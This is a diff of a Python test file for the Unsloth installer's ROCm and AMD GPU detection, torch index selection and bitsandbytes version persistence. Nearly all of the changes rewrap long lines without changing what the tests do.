         """A CPU build's probe line ("|2.10.0+cpu") must not read as HIP: the version
         after the "|" separator is data, not a HIP marker, so has_hip_torch stays False
         and the reinstall fires."""
@@ -651,7 +659,9 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
     @patch.object(stack_mod, "_detect_rocm_version", return_value = (6, 3))
-    def test_rocm_63_selects_correct_tag(self, mock_ver, mock_gpu, mock_nvidia, mock_pip):
+    def test_rocm_63_selects_correct_tag(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip
+    ):
         """ROCm 6.3 should select rocm6.3 tag."""
         mock_probe = MagicMock()
         mock_probe.returncode = 0
@@ -750,7 +760,9 @@ class TestEnsureRocmTorch:
         # tag but violates the spec -> mismatch (a plain version compare would accept it).
         assert f(f"{base}/rocm7.2", "2.12.0+rocm7.2") is True
         assert f(f"{base}/rocm7.2", "2.13.0+rocm7.2") is True
-        assert f(f"{base}/rocm7.2", "2.11.5+rocm7.2") is False  # patch on 2.11 is in-spec
+        assert (
+            f(f"{base}/rocm7.2", "2.11.5+rocm7.2") is False
+        )  # patch on 2.11 is in-spec
         # An UNKNOWN newer rocm (not on the 2.11 allowlist) is not floored to 2.11, so a
         # matching rocm version at any release line is NOT a mismatch on this branch.
         assert f(f"{base}/rocm8.0", "2.12.0+rocm8.0") is False
@@ -869,7 +881,8 @@ class TestEnsureRocmTorch:
                 ), "torch must not be reinstalled when the pin already matches"
         # A torch reinstall would pass torch>=... as a positional; assert none did.
         assert not any(
-            any(str(a).startswith("torch") for a in _c.args) for _c in mock_pip.call_args_list
+            any(str(a).startswith("torch") for a in _c.args)
+            for _c in mock_pip.call_args_list
         )
 
     @patch.object(stack_mod, "IS_WINDOWS", False)
@@ -895,7 +908,8 @@ class TestEnsureRocmTorch:
                     _ensure_rocm_torch()
         # has_hip_torch True + no mismatch -> torch must NOT be reinstalled.
         assert not any(
-            any(str(a).startswith("torch") for a in _c.args) for _c in mock_pip.call_args_list
+            any(str(a).startswith("torch") for a in _c.args)
+            for _c in mock_pip.call_args_list
         )
 
     @patch.object(stack_mod, "IS_WINDOWS", False)
@@ -949,14 +963,18 @@ class TestEnsureRocmTorch:
         # --index-url family. Match EXACTLY.
         assert leaf_f("rocm7.2-private") is False
         assert leaf_f("rocm7-current") is False
-        assert leaf_f("rocm7.2.1") is False  # two-part local suffix -> custom, not rocm7.2
+        assert (
+            leaf_f("rocm7.2.1") is False
+        )  # two-part local suffix -> custom, not rocm7.2
 
         radeon = "https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2.1"
         pip_rocm = "https://download.pytorch.org/whl/rocm7.2"
         amd_gfx = "https://repo.amd.com/rocm/whl/gfx120X-all"
 
         def _classify(url, fn):
-            with patch.dict(stack_mod.os.environ, {"UNSLOTH_TORCH_INDEX_URL": url}, clear = False):
+            with patch.dict(
+                stack_mod.os.environ, {"UNSLOTH_TORCH_INDEX_URL": url}, clear = False
+            ):
                 stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
                 return fn()
 
@@ -1007,7 +1025,9 @@ class TestEnsureRocmTorch:
     ):
         """Probe subprocess timeout should not crash; should proceed to reinstall."""
         with patch("os.path.isdir", return_value = True):
-            with patch("subprocess.run", side_effect = subprocess.TimeoutExpired("python", 30)):
+            with patch(
+                "subprocess.run", side_effect = subprocess.TimeoutExpired("python", 30)
+            ):
                 _ensure_rocm_torch()
         # Probe timeout: treat torch as unusable and reinstall torch + bitsandbytes.
         assert mock_pip.call_count == 1
@@ -1030,7 +1050,9 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True)
-    def test_torch_backend_cuda_env_skips_entirely(self, mock_nvidia, mock_gpu, mock_pip):
+    def test_torch_backend_cuda_env_skips_entirely(
+        self, mock_nvidia, mock_gpu, mock_pip
+    ):
         """UNSLOTH_TORCH_BACKEND=cuda must short-circuit before any GPU probe."""
         with patch.dict(os.environ, {"UNSLOTH_TORCH_BACKEND": "cuda"}):
             with patch.object(stack_mod, "_TORCH_BACKEND", "cuda"):
@@ -1040,7 +1062,9 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True)
-    def test_torch_backend_cpu_env_skips_entirely(self, mock_nvidia, mock_gpu, mock_pip):
+    def test_torch_backend_cpu_env_skips_entirely(
+        self, mock_nvidia, mock_gpu, mock_pip
+    ):
         """UNSLOTH_TORCH_BACKEND=cpu must short-circuit before any GPU probe."""
         with patch.dict(os.environ, {"UNSLOTH_TORCH_BACKEND": "cpu"}):
             with patch.object(stack_mod, "_TORCH_BACKEND", "cpu"):
@@ -1084,7 +1108,9 @@ class TestHasRocmGpuKfdVendorGuard:
     def test_sysfs_fallback_guarded_by_non_win32(self):
         """KFD sysfs fallback must be Linux-only (guarded by sys.platform != 'win32')."""
         src = self._src()
-        assert "win32" in src, "_has_rocm_gpu sysfs fallback must be guarded by sys.platform check"
+        assert (
+            "win32" in src
+        ), "_has_rocm_gpu sysfs fallback must be guarded by sys.platform check"
 
     def test_cpu_node_excluded(self):
         """gpu_id == '0' must be excluded (CPU topology nodes)."""
@@ -1100,8 +1126,12 @@ class TestHasRocmGpuKfdVendorGuard:
         func_start = source.find("_has_amd_rocm_gpu()")
         func_end = source.find("\n}", func_start)
         func_body = source[func_start:func_end]
-        assert "vendor_id" in func_body, "_has_amd_rocm_gpu sysfs fallback must check vendor_id"
-        assert "4098" in func_body, "_has_amd_rocm_gpu must require AMD vendor_id 4098 (0x1002)"
+        assert (
+            "vendor_id" in func_body
+        ), "_has_amd_rocm_gpu sysfs fallback must check vendor_id"
+        assert (
+            "4098" in func_body
+        ), "_has_amd_rocm_gpu must require AMD vendor_id 4098 (0x1002)"
 
     def test_has_rocm_gpu_returns_false_when_nvidia_present(self):
         """_has_rocm_gpu returns False when _has_usable_nvidia_gpu is True (NVIDIA always wins)."""
@@ -1219,51 +1249,67 @@ class TestHardwareRocmFlag:
 
     def test_hardware_py_has_is_rocm(self):
         """hardware.py should define IS_ROCM."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         assert "IS_ROCM: bool" in source and "False" in source
 
     def test_hardware_py_sets_is_rocm_on_hip(self):
         """detect_hardware() should set IS_ROCM when torch.version.hip is set."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         assert 'torch.version, "hip"' in source or "torch.version.hip" in source
 
     def test_hardware_py_still_returns_cuda_for_rocm(self):
         """DeviceType should remain CUDA even on ROCm -- no DeviceType.ROCM."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         enum_section = source.split("class DeviceType")[1].split("\n\n")[0]
         assert "ROCM" not in enum_section
 
     def test_hardware_py_has_rocm_in_package_versions(self):
         """get_package_versions() should include 'rocm' key."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         assert '"rocm"' in source
 
     def test_hardware_py_device_type_cuda_references_intact(self):
         """All existing DeviceType.CUDA references should still be present."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         assert "DeviceType.CUDA" in source
         assert "DEVICE = DeviceType.CUDA" in source
 
     def test_is_rocm_exported_from_init(self):
         """IS_ROCM should be exported from hardware __init__.py."""
-        init_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "__init__.py"
+        init_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "__init__.py"
+        )
         source = init_path.read_text(encoding = "utf-8")
         assert "IS_ROCM" in source
 
     def test_is_rocm_in_all_list(self):
         """IS_ROCM should be in __all__ list in __init__.py."""
-        init_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "__init__.py"
+        init_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "__init__.py"
+        )
         source = init_path.read_text(encoding = "utf-8")
         assert '"IS_ROCM"' in source
 
     def test_get_package_versions_returns_rocm_key(self):
         """get_package_versions() source should return both 'cuda' and 'rocm' keys."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_package_versions")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1272,16 +1318,22 @@ class TestHardwareRocmFlag:
 
     def test_distributed_stubs_cover_is_torchelastic_launched(self):
         """Must stub is_torchelastic_launched (Windows ROCm torch.distributed lacks it)."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         assert "is_torchelastic_launched" in source
 
     def test_distributed_stubs_cover_core_helpers(self):
         """_determine_attention_impl_for_gpu_estimate must stub the four core distributed helpers."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         for attr in ("is_initialized", "is_available", "get_rank", "get_world_size"):
-            assert attr in source, f"distributed stub for '{attr}' missing from hardware.py"
+            assert (
+                attr in source
+            ), f"distributed stub for '{attr}' missing from hardware.py"
 
 
 # TEST: tokenizer_utils.py -- error message
@@ -1322,7 +1374,9 @@ class TestInstallShStructure:
             # Strip quoted literals so `<<<` inside them is ignored.
             unquoted = re.sub(r"'[^']*'", "", line)
             unquoted = re.sub(r'"[^"]*"', "", unquoted)
-            assert "<<<" not in unquoted, f"install.sh:{i} uses non-POSIX <<< here-string"
+            assert (
+                "<<<" not in unquoted
+            ), f"install.sh:{i} uses non-POSIX <<< here-string"
 
     def test_rocm_detection_present(self):
         """install.sh should have ROCm detection in get_torch_index_url."""
@@ -1343,8 +1397,12 @@ class TestInstallShStructure:
         if no_nvidia_branch < 0:
             no_nvidia_branch = body.find('if [ -z "$_smi" ]')
         rocm_call = body.find("_has_amd_rocm_gpu")
-        assert nvidia_call >= 0, "get_torch_index_url should call _has_usable_nvidia_gpu"
-        assert no_nvidia_branch >= 0, "get_torch_index_url should gate ROCm on no-nvidia branch"
+        assert (
+            nvidia_call >= 0
+        ), "get_torch_index_url should call _has_usable_nvidia_gpu"
+        assert (
+            no_nvidia_branch >= 0
+        ), "get_torch_index_url should gate ROCm on no-nvidia branch"
         assert (
             rocm_call > no_nvidia_branch
         ), "ROCm detection should sit inside the 'no NVIDIA' branch"
@@ -1403,7 +1461,9 @@ class TestInstallShStructure:
                 continue
             # Strip POSIX char classes [[:foo:]] before checking for [[ ]].
             cleaned = re.sub(r"\[\[:[a-z]+:\]\]", "", line)
-            assert "[[" not in cleaned, f"get_torch_index_url line {i} uses non-POSIX [["
+            assert (
+                "[[" not in cleaned
+            ), f"get_torch_index_url line {i} uses non-POSIX [["
 
     def test_no_arithmetic_expansion_in_rocm_block(self):
         """ROCm detection block should not use (( )) (bash-only)."""
@@ -1534,11 +1594,15 @@ class TestLiveRegression:
 # TEST: worker.py -- ROCm Mamba/SSM source build path
 
 _WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "training" / "worker.py"
-_EXPORT_WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "export" / "worker.py"
+_EXPORT_WORKER_PATH = (
+    PACKAGE_ROOT / "studio" / "backend" / "core" / "export" / "worker.py"
+)
 # Shared torchao Windows-ROCm stub used by both workers.
 _TORCHAO_STUB_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "_torchao_stub.py"
 # RAG embedder -- runs in the main backend process and also needs the stub.
-_EMBEDDINGS_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "rag" / "embeddings.py"
+_EMBEDDINGS_PATH = (
+    PACKAGE_ROOT / "studio" / "backend" / "core" / "rag" / "embeddings.py"
+)
 # Wheel-probe script literal lives in wheel_utils after the resolver refactor.
 _WHEEL_UTILS_PATH = PACKAGE_ROOT / "studio" / "backend" / "utils" / "wheel_utils.py"
 
@@ -1558,7 +1622,9 @@ class TestWorkerRocmMambaSsm:
 
     def test_direct_wheel_url_returns_none_without_cuda_major(self, monkeypatch):
         """_direct_wheel_url should return None when cuda_major is empty (ROCm)."""
-        _worker_spec = importlib.util.spec_from_file_location("test_worker", _WORKER_PATH)
+        _worker_spec = importlib.util.spec_from_file_location(
+            "test_worker", _WORKER_PATH
+        )
         assert _worker_spec is not None and _worker_spec.loader is not None
         worker_mod = importlib.util.module_from_spec(_worker_spec)
 
@@ -1784,13 +1850,17 @@ class TestHardwareAmdBranching:
 
     def test_hardware_imports_amd_module(self):
         """hardware.py should import from amd module when IS_ROCM."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         assert "from . import amd" in source
 
     def test_hardware_branches_on_is_rocm_for_utilization(self):
         """get_gpu_utilization dispatches visible metrics through amd.py on ROCm."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_gpu_utilization")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1798,14 +1868,18 @@ class TestHardwareAmdBranching:
         assert '"get_visible_gpu_utilization"' in func_body
         assert "_reconcile_rocm_unified_memory" in func_body
         smi = source[
-            source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1)
+            source.find("def _smi_query") : source.find(
+                "\ndef ", source.find("def _smi_query") + 1
+            )
         ]
         assert "IS_ROCM" in smi
         assert "from . import amd" in smi
 
     def test_hardware_branches_on_is_rocm_for_visible(self):
         """get_visible_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_visible_gpu_utilization")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1814,14 +1888,18 @@ class TestHardwareAmdBranching:
 
         assert _re.search(r'_smi_query\(\s*"get_visible_gpu_utilization"', func_body)
         smi = source[
-            source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1)
+            source.find("def _smi_query") : source.find(
+                "\ndef ", source.find("def _smi_query") + 1
+            )
         ]
         assert "IS_ROCM" in smi
         assert "from . import amd" in smi
 
     def test_hardware_branches_on_is_rocm_for_physical_count(self):
         """get_physical_gpu_count should try amd.py when IS_ROCM."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_physical_gpu_count")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1837,7 +1915,9 @@ class TestApplyGpuIdsRocmFallback:
 
     def test_apply_gpu_ids_falls_back_to_torch_version_hip(self):
         """apply_gpu_ids probes torch.version.hip when IS_ROCM is False and no ROCm env vars set."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def apply_gpu_ids")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1845,7 +1925,9 @@ class TestApplyGpuIdsRocmFallback:
 
     def test_apply_gpu_ids_sets_hip_but_not_rocr_visible_devices(self):
         """apply_gpu_ids sets HIP_VISIBLE_DEVICES but leaves ROCR_VISIBLE_DEVICES inherited (HSA indexing; issue #6118)."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def apply_gpu_ids")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1854,7 +1936,9 @@ class TestApplyGpuIdsRocmFallback:
 
     def test_apply_gpu_ids_rocm_fallback_is_guarded_by_try_except(self):
         """torch import in apply_gpu_ids must be wrapped in try/except so a missing torch never crashes."""
-        hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        hw_path = (
+            PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+        )
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def apply_gpu_ids")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
@@ -1999,7 +2083,9 @@ class TestWindowsRocmIndexUrl:
         assert "repo.amd.com" in url
 
     def test_mirror_env_var_overrides_base(self, monkeypatch):
-        monkeypatch.setenv("UNSLOTH_ROCM_WINDOWS_MIRROR", "https://my-mirror.example.com/rocm/whl")
+        monkeypatch.setenv(
+            "UNSLOTH_ROCM_WINDOWS_MIRROR", "https://my-mirror.example.com/rocm/whl"
+        )
         # Reload module-level constant by calling helper directly
         url = stack_mod._windows_rocm_index_url("gfx1200")
         # The env var is read at module load time for _ROCM_WINDOWS_INDEX_BASE,
@@ -2118,7 +2204,9 @@ class TestGfxArchNameFallback:
         """hipinfo absent everywhere + amd-smi absent -> WMI name fallback."""
         ps_result = MagicMock()
         ps_result.returncode = 0
-        ps_result.stdout = b"AMD Radeon(TM) 8060S Graphics\r\nMicrosoft Basic Display Adapter\r\n"
+        ps_result.stdout = (
+            b"AMD Radeon(TM) 8060S Graphics\r\nMicrosoft Basic Display Adapter\r\n"
+        )
 
         def _run(cmd, **kwargs):
             if cmd and "powershell.exe" in str(cmd[0]).lower():
@@ -2247,7 +2335,9 @@ class TestInstallBnbWindowsRocm:
             os.environ.pop("BNB_ROCM_VERSION", None)
             os.environ.pop(stack_mod._BNB_ROCM_VERSION_SOURCE_ENV, None)
             with patch.object(stack_mod, "pip_install_try", return_value = True):
-                with patch.object(stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "72"):
+                with patch.object(
+                    stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "72"
+                ):
                     stack_mod._install_bnb_windows_rocm()
             assert os.environ.get("BNB_ROCM_VERSION") == "72"
 
@@ -2257,7 +2347,9 @@ class TestInstallBnbWindowsRocm:
             os.environ.pop("BNB_ROCM_VERSION", None)
             os.environ.pop(stack_mod._BNB_ROCM_VERSION_SOURCE_ENV, None)
             with patch.object(stack_mod, "pip_install_try", return_value = True):
-                with patch.object(stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "713"):
+                with patch.object(
+                    stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "713"
+                ):
                     stack_mod._install_bnb_windows_rocm()
             assert os.environ.get("BNB_ROCM_VERSION") == "713"
 
@@ -2267,7 +2359,9 @@ class TestInstallBnbWindowsRocm:
             os.environ.pop("BNB_ROCM_VERSION", None)
             os.environ.pop(stack_mod._BNB_ROCM_VERSION_SOURCE_ENV, None)
             with patch.object(stack_mod, "pip_install_try", return_value = True):
-                with patch.object(stack_mod, "_detect_bnb_rocm_dll_ver", return_value = None):
+                with patch.object(
+                    stack_mod, "_detect_bnb_rocm_dll_ver", return_value = None
+                ):
                     stack_mod._install_bnb_windows_rocm()
             assert os.environ.get("BNB_ROCM_VERSION") == "72"
 
@@ -2306,7 +2400,9 @@ class TestInstallBnbWindowsRocm:
             },
         ):
             with patch.object(stack_mod, "pip_install_try", return_value = True):
-                with patch.object(stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "713"):
+                with patch.object(
+                    stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "713"
+                ):
                     with patch.object(
                         stack_mod, "_persist_bnb_rocm_version", return_value = True
                     ) as mock_persist:
@@ -2327,7 +2423,9 @@ class TestInstallBnbWindowsRocm:
             os.environ.pop("BNB_ROCM_VERSION", None)
             os.environ.pop(stack_mod._BNB_ROCM_VERSION_SOURCE_ENV, None)
             with patch.object(stack_mod, "pip_install_try", return_value = True):
-                with patch.object(stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "72"):
+                with patch.object(
+                    stack_mod, "_detect_bnb_rocm_dll_ver", return_value = "72"
+                ):
                     with patch.object(
                         stack_mod.sysconfig, "get_path", return_value = str(site_packages)
                     ):
@@ -2375,7 +2473,9 @@ class TestInstallBnbWindowsRocm:
             encoding = "utf-8",
         )
 
-        with patch.object(stack_mod.sysconfig, "get_path", return_value = str(site_packages)):
+        with patch.object(
+            stack_mod.sysconfig, "get_path", return_value = str(site_packages)
+        ):
             assert stack_mod._persist_bnb_rocm_version("713") is True
 
         source = sitecustomize.read_text(encoding = "utf-8")
@@ -2391,7 +2491,9 @@ class TestInstallBnbWindowsRocm:
         sitecustomize = site_packages / "sitecustomize.py"
         sitecustomize.write_bytes(b"\xff\xfe\x00")
 
-        with patch.object(stack_mod.sysconfig, "get_path", return_value = str(site_packages)):
+        with patch.object(
+            stack_mod.sysconfig, "get_path", return_value = str(site_packages)
+        ):
             assert stack_mod._persist_bnb_rocm_version("72") is False
 
     def test_persist_bnb_rocm_version_repairs_truncated_block(self, tmp_path):
@@ -2407,7 +2509,9 @@ class TestInstallBnbWindowsRocm:
             encoding = "utf-8",
         )
 
-        with patch.object(stack_mod.sysconfig, "get_path", return_value = str(site_packages)):
+        with patch.object(
+            stack_mod.sysconfig, "get_path", return_value = str(site_packages)
+        ):
             assert stack_mod._persist_bnb_rocm_version("713") is True
 
         source = sitecustomize.read_text(encoding = "utf-8")
@@ -2430,7 +2534,9 @@ class TestInstallBnbWindowsRocm:
         )
         sitecustomize.write_text(block + "USER_MID = 1\n" + block, encoding = "utf-8")
 
-        with patch.object(stack_mod.sysconfig, "get_path", return_value = str(site_packages)):
+        with patch.object(
+            stack_mod.sysconfig, "get_path", return_value = str(site_packages)
+        ):
             assert stack_mod._persist_bnb_rocm_version("713") is True
 
         source = sitecustomize.read_text(encoding = "utf-8")
@@ -2445,7 +2551,9 @@ class TestInstallBnbWindowsRocm:
         site_packages = tmp_path / "site-packages"
         site_packages.mkdir()
 
-        with patch.object(stack_mod.sysconfig, "get_path", return_value = str(site_packages)):
+        with patch.object(
+            stack_mod.sysconfig, "get_path", return_value = str(site_packages)
+        ):
             assert stack_mod._persist_bnb_rocm_version("72") is True
 
         leftovers = [p.name for p in site_packages.iterdir() if "unsloth-tmp" in p.name]
@@ -2457,16 +2565,24 @@ class TestRuntimeBnbRocmSourceGuards:
     """Runtime entrypoints redetect managed defaults but keep caller overrides."""
 
     _MAIN_PATH = PACKAGE_ROOT / "studio" / "backend" / "main.py"
-    _TRAINING_WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "training" / "worker.py"
+    _TRAINING_WORKER_PATH = (
+        PACKAGE_ROOT / "studio" / "backend" / "core" / "training" / "worker.py"
+    )
 
     def test_main_gate_redetects_persisted_default(self):
         source = self._MAIN_PATH.read_text(encoding = "utf-8")
-        assert 'os.environ.get("UNSLOTH_BNB_ROCM_VERSION_SOURCE") == "sitecustomize"' in source
+        assert (
+            'os.environ.get("UNSLOTH_BNB_ROCM_VERSION_SOURCE") == "sitecustomize"'
+            in source
+        )
         assert 'os.environ["UNSLOTH_BNB_ROCM_VERSION_SOURCE"] = "detected"' in source
 
     def test_worker_gate_redetects_persisted_default(self):
         source = self._TRAINING_WORKER_PATH.read_text(encoding = "utf-8")
-        assert 'os.environ.get("UNSLOTH_BNB_ROCM_VERSION_SOURCE") == "sitecustomize"' in source
+        assert (
+            'os.environ.get("UNSLOTH_BNB_ROCM_VERSION_SOURCE") == "sitecustomize"'
+            in source
+        )
         assert 'os.environ["UNSLOTH_BNB_ROCM_VERSION_SOURCE"] = "detected"' in source
 
     def test_fallback_prefers_seeded_value_over_hardcoded_72(self):
@@ -2645,7 +2761,14 @@ class TestWindowsRocmTorchaoGuard:
     @patch.object(stack_mod, "run")
     @patch.object(stack_mod, "pip_install")
     def test_install_python_stack_skips_torchao_when_windows_rocm_torch_is_installed(
-        self, mock_pip, mock_run, mock_has_nvidia, mock_cuda, mock_rocm, mock_anyio, tmp_path
+        self,
+        mock_pip,
+        mock_run,
+        mock_has_nvidia,
+        mock_cuda,
+        mock_rocm,
+        mock_anyio,
+        tmp_path,
     ):
         unstructured_plugin = tmp_path / "unstructured"
         github_plugin = tmp_path / "github"
@@ -2664,14 +2787,20 @@ class TestWindowsRocmTorchaoGuard:
             patch.object(stack_mod, "NO_TORCH", False),
             patch.object(stack_mod, "_rocm_windows_torch_installed", False),
             patch.object(stack_mod, "_bootstrap_uv", return_value = False),
-            patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = True),
-            patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin),
+            patch.object(
+                stack_mod, "_installed_torch_is_windows_rocm", return_value = True
+            ),
+            patch.object(
+                stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin
+            ),
             patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin),
             patch.object(stack_mod.subprocess, "run", return_value = subprocess_result),
         ):
             assert stack_mod.install_python_stack() == 0
 
-        installed_specs = [str(arg) for call in mock_pip.call_args_list for arg in call.args]
+        installed_specs = [
+            str(arg) for call in mock_pip.call_args_list for arg in call.args
+        ]
         assert not any("torchao" in arg for arg in installed_specs)
 
 
@@ -2696,13 +2825,17 @@ class TestProgressStepCountMatchesTotal:
             patch.object(stack_mod, "NO_TORCH", False),
             patch.object(stack_mod, "_rocm_windows_torch_installed", False),
             patch.object(stack_mod, "_bootstrap_uv", return_value = False),
-            patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = False),
+            patch.object(
+                stack_mod, "_installed_torch_is_windows_rocm", return_value = False
+            ),
             patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True),
             patch.object(stack_mod, "_repair_bad_anyio"),
             patch.object(stack_mod, "_ensure_cuda_torch"),
             patch.object(stack_mod, "_ensure_rocm_torch"),
             patch.object(stack_mod, "_ensure_cpu_torch"),
-            patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin),
+            patch.object(
+                stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin
+            ),
             patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin),
             patch.object(stack_mod.subprocess, "run", return_value = sub),
         ):
@@ -2710,11 +2843,17 @@ class TestProgressStepCountMatchesTotal:
             return stack_mod._STEP, stack_mod._TOTAL
 
     def test_windows_progress_reaches_total(self, tmp_path):
-        step, total = self._run_stack(tmp_path, is_windows = True, is_macos = False, is_mac_arm = False)
-        assert step == total, f"Windows progress {step} != total {total} (final step uncounted)"
+        step, total = self._run_stack(
+            tmp_path, is_windows = True, is_macos = False, is_mac_arm = False
+        )
+        assert (
+            step == total
+        ), f"Windows progress {step} != total {total} (final step uncounted)"
 
     def test_linux_progress_reaches_total(self, tmp_path):
-        step, total = self._run_stack(tmp_path, is_windows = False, is_macos = False, is_mac_arm = False)
+        step, total = self._run_stack(
+            tmp_path, is_windows = False, is_macos = False, is_mac_arm = False
+        )
         assert step == total, f"Linux progress {step} != total {total}"
 
 
@@ -2803,7 +2942,9 @@ class TestWorkerWindowsRocmPatches:
         # Use the entry-point section-2 marker (not the trainer helper's own "# ── 2.").
         idx_sec2 = source.find("# ── 2. Now import ML libraries")
         assert idx_bnb != -1, "BNB_ROCM_VERSION not found in worker.py"
-        assert idx_sec2 != -1, "'# ── 2. Now import ML libraries' marker not found in worker.py"
+        assert (
+            idx_sec2 != -1
+        ), "'# ── 2. Now import ML libraries' marker not found in worker.py"
         assert idx_bnb < idx_sec2, (
             "BNB_ROCM_VERSION must be set before section 2 ML imports "
             f"(found at {idx_bnb}, section 2 at {idx_sec2})"
@@ -3096,12 +3237,16 @@ class TestHipSdkEnvPathResolution:
